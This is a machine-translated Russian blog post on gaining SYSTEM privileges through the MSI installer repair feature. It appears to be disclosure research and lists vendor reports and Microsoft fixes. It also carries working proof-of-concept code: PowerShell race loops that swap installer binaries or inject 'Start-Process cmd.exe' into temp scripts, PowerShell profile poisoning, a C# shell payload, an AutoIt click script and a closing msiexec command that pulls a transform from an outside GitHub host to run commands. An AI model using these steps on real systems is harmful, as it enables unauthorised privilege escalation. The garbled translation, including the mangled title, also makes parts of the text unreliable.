October 11, 2023

MSIFortune — LPE с установщиками MSI  

MSIFortune — LPE с установщиками MSI или MSI —Мхорошо (быть)сглупыйяДЭА

Установщики MSI все еще живы. Менее известная особенность заключается в том, что пользователь с низким уровнем привилегий может запустить функцию восстановления установки, которая будет работать с привилегиями СИСТЕМЫ. Что может пойти не так? Достаточно много!

вр; доктор

Функция восстановления довольно часто запускает CustomActionsчасть установщиков MSI, которые иногда подвержены одной или нескольким из следующих проблем.

  • Виден conhost.exeчерез a cmd.exeили другие двоичные файлы консоли.
  • Видимый PowerShell
  • Непосредственно действия из установщика с СИСТЕМНЫМИ привилегиями
  • Выполнение двоичных файлов из путей, доступных для записи пользователем
  • Загрузка неопубликованных DLL/злоупотребление путями поиска
  • Отсутствуют параметры PowerShell, в основном-NoProfile
  • Небезопасное выполнение других инструментов
  • Делать глупости

Очень многое может пойти не так

Вот два простых PoC для повышения привилегий. Более подробная информация ниже.

PoC для взлома бинарного кода LPE

PoC для хоста LPE

Введение

Несколько недель назад в блоге Mandiant появилась запись , проливающая некоторый свет на функцию восстановления установщиков MSI. Поскольку это менее известная функция, я решил углубиться в нее немного больше и хочу поделиться некоторыми своими выводами.

Я сообщил о более чем 30 локальных повышениях привилегий поставщикам, включая некоторых известных производителей и поставщиков продуктов безопасности.

Монтажники

Установщики MSI кэшируются под C:\Windows\installerслучайным именем. Имя присваивается каждому установщику для каждого компьютера, поэтому обычно невозможно перейти от имени файла к продукту. Чтобы получить название продукта, мы можем проверить детали файла.

Mandiant также предоставляет BOF и PowerShellscript здесь: https:/github.com/mandiant/msi-search.

Процесс ремонта

Чтобы начать восстановление, мы можем использовать /faпараметр и имя файла установщика, например msiexec /fa c:\windows\installer\1314616.msi , или мы также можем использовать файл IdentifyingNumberиз продукта, который мы можем получить через WMI.

PS C:\> wmic product get identifyingnumber,name,vendor,version
IdentifyingNumber                       Name                            Vendor                      Version
{E0C2565A-8414-4DF1-A1DD-D07EDDDC13C0}  Microsoft Visual C++ 2013       Microsoft Corporation       12.0.46151
{EBC7D3FB-4ED6-4EF4-ADD0-5695E6716C8B}  Flameshot                       flameshot-org               12.1.0
{447524DE-DB18-4E94-8D90-4FD62C00212F}  blender                         Blender Foundation          3.4.1
[...]

Поэтому мы можем запустить ремонт с помощью этого фрагмента:

$installed = Get-WmiObject Win32_Product
$string= $installed | select-string -pattern "PRODUCTNAME"
$string[0] -match '{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}}'
Start-Process -FilePath "msiexec.exe" -ArgumentList "/fa $($matches[0])"

Восстановление будет выполнено с использованием NT SYSTEMучетной записи. Если они CustomActionsвключены в установщик, многое может пойти не так.

Запуск действий, выполняемых в NT SYSTEMобычном режиме, — отличная возможность с точки зрения LPE. Незначительная ошибка и мы получаем СИСТЕМУ-Shell.

Многие установщики в формате .exe также используют технологию MSI.

Почему это проблема?

С точки зрения защитника, представьте, что у вас есть некая система распространения программного обеспечения, например SCCM. Самый простой способ развернуть пакет через SCCM — это файл MSI, то есть их обычно много. И их необходимо обслуживать в основном вручную, что также означает, что довольно часто можно найти устаревший установщик.

Таким образом, злоумышленник может просмотреть SCCM с помощью таких инструментов, как https:/github.com/1njected/CMLoot, чтобы собрать список MSI-файлов.

После этого их можно скачать, извлечь и проанализировать в автономном режиме. Это также может привести к тому, что некоторые учетные данные будут упакованы в установщики или в файлы других типов, например ps1.

PS> Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt

PS> Invoke-CMLootHunt -SCCMHost sccm -NoAccessFile sccmfiles_noaccess.txt

PS> Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension msi

Это означает, что если злоумышленник обнаружит один MSI, уязвимый для LPE во всех системах, это приведет к скрытому LPE на всех системах, где может быть установлено программное обеспечение.

Виден conhost.exeчерез a cmd.exeили другие двоичные файлы консоли.

Самая известная ошибка — добавить пользовательское действие, но не указать для него тихий параметр. Это означает, что действие создаст обработчик conhost.exeтерминала по умолчанию из Windows. Этот обработчик имеет меню свойств, которое можно использовать для NT SYSTEMочень простого запуска оболочки через браузер.

Итак, если вы видите мерцающее окно, попробуйте выделить в нем какой-нибудь текст. Также CTRL+Aработает и может неплохо использоваться с такими инструментами автоматизации, как AutoIT(подробнее ниже). Если выделен какой-то текст, вывод и, следовательно, выполнение приостанавливается, и мы можем спокойно запустить нашу «цепочку сложных эксплойтов».

Создайте новый системный cmd через: conhost -> свойства -> «устаревший режим консоли». Ссылка -> Internet Explorer -> CTRL+O-> cmd.exe.

Быстрое подтверждение концепции сети

Это было легко, не так ли?

Примечание. Microsoft Edge не будет запускаться, если он запущен как NT SYSTEM, поэтому эта цепочка предотвращается! Это значение по умолчанию для Windows 11, но не для Windows 10, поскольку версия IExplorer все еще существует, а также, если установлен другой браузер, он также в большинстве случаев снова работает.

Время выполнения Conhost.exe слишком короткое?

Если conhost.exeвремя выполнения слишком короткое, есть несколько способов продлить его. Всегда полезно проверить, что делает основной процесс. Например, если он удаляет файлы в папке, и у нас, к счастью, есть права на запись в эту папку, мы можем просто дать ему еще несколько тысяч файлов для удаления, что должно дать нам достаточно времени для реагирования.

1..50000 | foreach { new-item -path "$($env:Appdata)\ProductX\$_.txt"}

Показ командной строки cmd с помощью rmdir, среду выполнения которой мы можем легко расширить.

Если он выполняет какую-то задачу, проверьте, можете ли вы запустить двоичный файл несколько раз или даже перезапустить его.

Другой способ — слишком замедлить работу всей системы. Во время моих тестов я добился отличных результатов, просто создав множество процессов cmd с некоторым результатом.

1..500 | foreach { Start-Process -FilePath cmd.exe -ArgumentList '/c dir ' -WindowStyle Minimized}

Это съест много ресурсов и перегрузит конхост, что даст нам больше времени.

Визибе PowerShell

Если есть видимое PowerShell.exeокно, тактика немного меняется, потому что вывод нельзя приостановить выбором, если параметр -NoInteractionбыл указан. Однако можно быстро щелкнуть правой кнопкой мыши по панели окна, перейдя в свойства, и здесь нам нужно нажать на ссылку. Это необходимо делать до тех пор, пока процесс не остановится. Уловки по продлению времени выполнения также применимы и здесь.
Окно выбора браузера/процесс IExplorer после этого сохраняется в процессе PowerShell, и мы можем продолжить работу с тем же фрагментом, что и предыдущий.

Прямые действия от установщика с СИСТЕМНЫМИ привилегиями

Простейшее повышение привилегий было осуществлено с помощью установщиков, которые предоставляют графический интерфейс для процесса восстановления и позволяют запускать прямые действия с учетной записью SYSTEM. Например, один установщик разрешил открывать панель управления Windows как СИСТЕМА, что сразу же позволяет пользователю с низкими привилегиями добавить себя в качестве администратора.

Какая красивая блестящая пуговица

Откройте диалоговое окно конфигурации Windows с правами NT SYSTEM.

Другой установщик открыл ссылку на свою домашнюю страницу в браузере, работающем под именем СИСТЕМА. Это также позволяет очень просто выполнить LPE, опять же через вектор open -> cmd.

Открытие URL-адреса после восстановления с помощью NT SYSTEM

"Разразиться"

И вот еще один. Поскольку установщик работает с NT SYSTEMэтим, это не лучшая идея.

Ссылки в установщиках несут некоторый риск

Примечание. Также можно напрямую перехватить установщик, поскольку он хранится в папке$env:Appdata

Выполнение двоичных файлов из путей, доступных для записи пользователем

Довольно часто двоичные файлы загружаются по путям, доступным для записи пользователем. Это означает, что установщик MSI помещает файл, например, в папку %TEMP%\Product\installer.exe, а затем вызывает двоичный файл с NT SYSTEMпривилегиями. Это может привести к легкому повышению привилегий, если двоичный файл не заблокирован или не защищен ACL.

Нередко удавалось просто выиграть состояние гонки и заменить файл после записи и перед выполнением. В большинстве случаев это можно сделать в PowerShell, который не идеально подходит для этого, но это легко.

ls $env:TEMP\*.tmp | ForEach-Object {cp C:\windows\system32\cmd.exe "$($_.FullName)\BINARY.exe" -Force}

Представление ProcMon о взломе двоичных файлов

Бинарный захват

Выполнение сценариев из путей, доступных для записи пользователем.

Другой вариант — выполнение сценариев (.ps1, .bat, .vbs) по путям, доступным для записи пользователем. Это также довольно легко использовать: в данном случае мы просто добавляем вызов Start-ProcessPS1. Start-Processили startдля файлов BAT рекомендуется, поскольку он сохранится даже после завершения работы установщика по каким-либо причинам, например, если его убьет сторожевой таймер.

while ($true)
{
ls $env:TEMP\pss*.ps1 | ForEach-Object { Add-Content -Path $_.FullName -Value "Start-Process -FilePath cmd.exe -Wait;"}
}

Представление Прокмана

Добавить в файл PowerShell

Загрузка неопубликованных DLL/злоупотребление путями поиска

Если вы следите за процессом восстановления с помощью ProcMon, что настоятельно рекомендуется, вы довольно часто увидите операцию CreateFileс NAME NOT FOUNDрезультатом. Если это файл DLL или EXE, вероятность того, что исходный двоичный файл загрузит его, если он существует, весьма высока.

Вы можете углубиться в это немного больше, проверив стек процессов и посмотреть, загружал ли двоичный файл DLL из другого места, например SYSTEM32, , но при этом могут быть упущены некоторые варианты.
Лучше просто проверьте это. Создайте proxyDLL, например Crassus, с помощью , прикрепите в него некоторый собственный код Attach Event, создайте его и скопируйте с правильным именем. Затем повторно запустите восстановление и посмотрите, загружается ли dll.
Если да, поздравляю, создайте системную оболочку.

Представление ProcMon: захват DLLОбратите внимание, что для облегчения отладки %TEMP% был перенаправлен на C:\testскриншот.

Взлом DLL

Отсутствуют параметры PowerShell.

Если существует CustomAction, запускающий процесс PowerShell, и -NoProfileпараметр не добавлен, PowerShell попытается загрузить профиль PowerShell из учетной записи пользователя, запустившей процесс.

Представление ProcMon: отсутствует параметр -NoProfile

Отсутствует параметр -NoProfile.

Это также очень простая цепочка, так как нам нужно только добавить команды в наш профиль.

new-item -Path $PROFILE -Type file -Force
echo "Start-Process -FilePath cmd.exe -Wait;" > $PROFILE

Это будет давать нам NT SYSTEMоболочку каждый раз, когда открывается новый процесс PowerShell.

К сожалению, Microsoft исправила это некоторое время назад. Вы все еще можете увидеть, как это работает, например, в Win 10 21H2.

Небезопасное выполнение других инструментов

Иногда встречаются вызовы и других инструментов, которыми можно злоупотреблять. Вот некоторые примеры, которые я видел:

  • 7Zip с файлом 7z из доступного для записи пользователем ввода.
  • grpconv -aочень старый двоичный файл Windows, который можно использовать для размещения файлов lnk во всех папках автозагрузки пользователей.
  • IExplorer для открытия веб-страницы
  • drvinst.exeс драйвером по записываемому пользователем пути

Делать другие глупости

Некоторые производители проявляют изобретательность, что делать во время установки, а что нет. Итак, в одном из установщиков MSI была команда компиляции через csc.exe, запускаемая из файла rundll.exeи преобразующая его .xml.

Простое добавление в файл специального кода C# порождает NT SYSTEMcmd.

Представление ProcMon: rundll и файл XSL

Изменения в XSL

Перезапишите XSL во время процесса восстановления.

Контрмеры от Microsoft

  • Microsoft добавила новую временную папку для NT SYSTEMучетной записи C:\Windows\SystemTemp, чтобы избежать некоторых возможностей перезаписи. До этого дополнения больше установщиков были уязвимы для взлома.

Не забудьте вручную проверить актуальность ваших тестовых виртуальных машин, даже если обновления не отображаются, а также если виртуальные машины Enterprise Evaluation могут вообще не получать никаких обновлений. Усвоил на собственном горьком опыте…

  • Запретить загрузку профилей User-PowerShell с помощьюNT SYSTEM
  • RedirectionGuard
  • MS Edge не запускается какNT SYSTEM
  • Исправление множества ошибок LPE в msiexec :)

Инструменты и автоматизация

Если вы хотите отправиться на охоту самостоятельно, вот инструменты, которыми я пользовался сам.

ПрокМон и Крассус

ProcMon — лучший инструмент для решения таких проблем. Хороший набор фильтров удаляет весь шум, но сохраняет важные вещи. Я предлагаю фильтровать все операции, выполняемые по NT SYSTEMпути, доступному для записи пользователем. Это может выглядеть примерно так.

Возможные фильтры ProcMon для уменьшения шума

Это пропускает некоторые возможные пути, например C:\Windows\Temp, но это компромисс между соотношением сигнал/шум.

Крассус автоматически анализирует PML-файлы ProcMon, что может быть весьма полезно для автоматического поиска путей со слабыми ACL. Однако недостатком является то, что это необходимо запускать do not drop filtered eventsв ProcMon, что приводит к созданию действительно больших файлов ProcMon.

PowerShell

PowerShell весьма удобен для быстрых PoC, и в большинстве случаев его вполне достаточно. Типичный скелет этих результатов выглядит следующим образом:

Write-host "Remove leftovers"
rm "$($env:TEMP)\ProductX" -Recurse -Force

Write-host "Build a PoC Binary"
$source=@"
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace ThisIsFineConsole
{
    internal class Program
    {
        static void Main(string[] args)
        {
            var info = new ProcessStartInfo
            {
                FileName = "cmd",
                WorkingDirectory = @"C:\Windows\System32"
            };
            var process = Process.Start(info);
            process.WaitForExit();
        }
    }
}
"@

mkdir C:\EoP_demo
# Create the service executable
Add-Type -TypeDefinition $source -Language CSharp -OutputAssembly "C:\EoP_demo\service.exe" -OutputType ConsoleApplication -ReferencedAssemblies "System.ServiceProcess" -Debug:$false


Write-host "Try to get GUID"
$installed = Get-WmiObject Win32_Product
$string= $installed | select-string -pattern "Product X"

$string[0] -match '{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}}'

Write-host "$string[0]"
Write-host "Found GUID $($matches[0].toString())"
Write-host "Startiung the repair $($matches[0].toString())"
Start-Process -FilePath "msiexec.exe" -ArgumentList "/fa $($matches[0])"

Write-host "Hijack installer binary"
{
ls "$($env:TEMP)\gu*" | ForEach-Object {cp "C:\EoP_demo\service.exe" "$($_.FullName)\ProductUpdate.exe" -Force 2> $null}
}

АвтоИт

Выбор текста или щелчок по панели окна иногда могут быть довольно трудными, поскольку окно видно только в течение нескольких 100 мс. Здесь могут пригодиться инструменты автоматизации, такие как AutoIt, для размещения кликов в окне. Во время своих тестов я использовал несколько простых скриптов, например:

Func Go()
While True ; Infinite loop
    Local $aPos = WinGetPos("C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe")
	if IsArray($aPos) then
		if ($aPos[0]<0) Then
		    ContinueLoop
	    EndIf
	    _DebugOut($aPos[0] & " " & $aPos[1])
	    Sleep(100) 
	    MouseClick("right",$aPos[0]+20 , $aPos[1]+20 ,1,0)
	    Sleep(300) 
	    MouseClick("right",$aPos[0]+20 , $aPos[1]+20 ,5,1)
	    $aPos[0] = -1
	    $aPos[1] = -1
	    Sleep(5000) 
    EndIf
WEnd
EndFunc   ;==>Terminate

SIEM/EDR

Если у вас есть доступ к SIEM/EDR крупного предприятия, вы также можете отправиться на охоту.

Примером может служить клиент Citrix.

https://twitter.com/m_rothe/status/1526959561264996360

Если ваше дерево процессов выглядит так:

msiexec.exe
|- cmd.exe
  |- conhost.exe

ваши шансы довольно высоки, что вы нашли уязвимый установщик. Обратите внимание, что это не обязательно cmd.exe, вместо него может быть любой двоичный файл.

Распространение программного обеспечения

Если вы используете распространение программного обеспечения, такое как Microsoft SCCM, риск снова возрастает, поскольку пользователь обычно может инициировать первоначальную установку, что каким-то образом задумано. Таким образом, единственный уязвимый установщик в репозитории позволит злоумышленнику получить LPE на всех клиентах, на которых может быть установлен пакет.

Orca, Мастер-упаковщик, 7zip

Существует несколько инструментов, позволяющих просмотреть двоичный файл MSI. Одним из весьма полезных инструментов является ORCA, который позволяет просматривать таблицы установщика MSI, а также создавать файл MST.

Orca показывает внутренние таблицы файла MSI

мсидамп

msidump также может быть весьма полезен для массового анализа установщиков. Он выведет на терминал пользовательские действия и выдаст оценку, если двоичный файл может быть защищен бэкдором.

Вингет

Поскольку репозиторий wingetимеет открытый исходный код: https:/github.com/microsoft/winget-pkgs , мы можем легко просканировать его для всех этих установщиков MSI. winget— это репозиторий пакетов Microsoft. После некоторых неприятных grep|awk|sed|cut|findмоментов, спасибо Microsoft за эту структуру… у нас есть в общей сложности 917 установщиков MSI, ожидающих тестирования. Это уже исключает более старые версии, другие архитектуры и в основном другие языки, кроме US-EN.

Качество установщика MSI, представленного ниже, wingetкажется немного выше, чем качество, найденное в Интернете. Тем не менее, во всех различных случаях все еще существует множество уязвимостей.

Автоматизировав некоторые шаги, я смог идентифицировать около 100 уязвимых приложений разной степени серьезности, но я совершенно уверен, что есть вещи, которые я упустил из виду, или другие методы, о которых я просто не знаю. Например, я пропустил SYMLINKS, а также перехват ключа реестра (HKCU).

В будущем о winget может быть отдельный пост в блоге.

Заключение

Есть довольно много вещей, которые могут пойти не так, если поставщик использует некоторые CustomActions в установщике. С точки зрения Redteamer, это полезно, так как можно получить доступ к установщику MSI или поискать его в Интернете и проверить возможность использования в отдельной лаборатории.

Если используются системы распространения программного обеспечения, такие как SCCM, возможности сразу же возрастают, поскольку

  • обычно требуется установить много пакетов
  • установку можно начать с учетной записи с низкими привилегиями
  • также первоначальная установка может быть уязвима для подобных векторов атак.

Насколько мне известно, действительно хороших мер противодействия не существует, поскольку функцию восстановления нельзя легко отключить. Поэтому лучший вариант на данный момент — убедиться в безопасности используемых установщиков, однако это непростая задача.

Дополнительный мониторинг вызовов восстановления MSI и работы браузера NT SYSTEMтакже не повредит.

Ссылки

Существует так много отличных ресурсов об установщиках MSI и о взломе, стоящем за ними.

Бонус

Запуск подписанного MSI без прав администратора

Можно «подделать» файл MSI, не повредив подпись, с помощью файлов преобразования MST . В эти файлы Transform могут быть встроены собственные команды, которые выполняются при установке.

Для создания MST вы можете использовать несколько инструментов, например Orca.

Итак, давайте искать хорошего кандидата. Требования будут следующими:

  • Прямая загрузка с надежного сайта
  • Подписанный двоичный файл
  • Никаких прав UAC/администратора не требуется.
  • Возможна установка без взаимодействия с пользователем

Есть несколько хороших кандидатов, например, установщик Cisco Webex отлично подходит, поскольку MSI не требует повышения прав, что имеет смысл в их контексте, хорошо подписан и доступен по доверенному URL-адресу (по крайней мере, если вы считаете CICSO заслуживающим доверия).

Мы можем сразу же использовать msiexec для загрузки и установки двоичного файла. Полностью тихая установка невозможна, но /qbбудет выполняться автоматически, поэтому вмешательство пользователя не требуется.

msiexec.exe /i "https:/binaries.webex.com/WebexTeamsDesktop-Windows-Gold/Webex.msi" TRANSFORMS="https:/raw.githubusercontent.com/PfiatDe/mst/main/web.mst" /qb

Вы также можете запустить это через WMI.

https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform-part-3#execute-command-lines